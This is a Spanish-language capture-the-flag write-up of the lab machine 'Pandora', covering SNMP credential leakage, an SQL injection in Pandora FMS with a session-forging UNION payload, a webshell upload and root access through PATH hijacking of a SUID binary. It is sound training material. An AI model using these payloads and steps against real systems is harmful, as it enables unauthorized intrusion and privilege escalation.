Pandora (Easy)
root@SynAckLabs:~# ./show_index.sh
Resumen
Write-up de la máquina Pandora (Easy). Pandora expone SSH (22/tcp) y una web (80/tcp) que no aporta mucho. La pista clave es revisar UDP, donde aparece SNMP (161/udp) con community string public. A partir de ahí conseguimos credenciales, pivoteamos a una instancia interna de Pandora FMS, explotamos una SQLi para secuestrar sesión de admin, subimos una webshell y finalmente escalamos a root mediante PATH hijacking en un binario SUID que invoca tar sin ruta absoluta.

Enumeración
Enumeración TCP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Play | Landing
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
La web en el puerto 80 solo mostraba una landing con formulario de contacto. No encontré una vía clara por ahí.
Enumeración UDP
Siguiendo la pista, enumeramos UDP y encontramos SNMP:
PORT STATE SERVICE VERSION
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
Notas rápidas:
- SNMP suele usarse para monitorización y gestión remota.
publices una community string típica y, si está expuesta, suele filtrar información sensible.
Enumeración SNMP y acceso inicial
Usamos snmpbulkwalk para volcar información:
snmpbulkwalk -c public -v2c 10.10.11.136

En la salida aparecen credenciales:
daniel:HotelBabylon23
Con estas credenciales entramos por SSH.

Post-explotación (usuario) y pivote a servicio interno
Dentro, al revisar directorios, vemos que user.txt pertenece a matt:
daniel@pandora:/home/matt$ ls
user.txt
daniel@pandora:/home/matt$ cat user.txt
cat: user.txt: Permission denied
Necesitamos escalar o conseguir acceso como matt.
Durante la enumeración detectamos otra web interna. Hacemos port forwarding del puerto 80 remoto para acceder desde nuestra máquina.
Intentamos autenticarnos con las credenciales de daniel y no funciona.

En el footer se observa la versión del producto, lo que nos lleva a investigar vulnerabilidades conocidas.
SQLi en Pandora FMS (chart_generator.php)
Probamos el endpoint vulnerable para confirmar la inyección:
curl -sG
localhost:80/pandora_console/include/chart_generator.php
--data-urlencode "session_id='" | head -1
Identificamos que es una SQLi error-based en una consulta del estilo:
SELECT * FROM tsessions_php WHERE `id_session` = '$session_id' LIMIT 1

Determinar número de columnas
Probando UNION SELECT:
- Con 1 y 2 columnas falla.
- Con 3 columnas devuelve HTML correctamente.
Conclusión: la tabla devuelve 3 columnas.
Dumpeo con sqlmap
Usamos sqlmap para extraer contenido de tsessions_php y encontramos una sesión de matt:

| g4e01qdgk36mfdh90hvcc54umq | id_usuario|s:4:"matt";alert_msg|a:0:{}new_chat|b:0; | 1638796349 |
Con esa sesión obtenemos acceso al panel como matt.

Escalada a admin (secuestro de sesión)
Como matt no tenemos permisos de admin (no podemos subir ficheros). La solución es forzar una sesión de admin inyectando el contenido del campo data.
session_id=' union select 1,2,'id_usuario|s:5:"admin";'-- -
Esto nos devuelve un id_session válido para admin.

RCE: subida de webshell
Con sesión de admin subimos una shell.php. En el sistema aparece en:
/var/www/pandora/pandora_console/images/shell.php
Accedemos a la webshell y lanzamos reverse shell (en mi caso funcionó mejor con la de pentestmonkey).


Escalada a root (PATH hijacking en binario SUID)
Enumeramos binarios SUID:
find / -perm -4000 2>/dev/null
Destaca /usr/bin/pandora_backup.
Al inspeccionar el binario se aprecia que invoca tar sin ruta absoluta. Esto permite PATH hijacking: si controlamos PATH y colocamos un ejecutable llamado tar antes que el real, el binario SUID ejecutará nuestro payload como root.
Ejecución
Desde la reverse shell no funcionó de forma fiable, pero por SSH sí (tras preparar claves).

Una vez ajustado el PATH y ejecutado pandora_backup, obtenemos ejecución como root.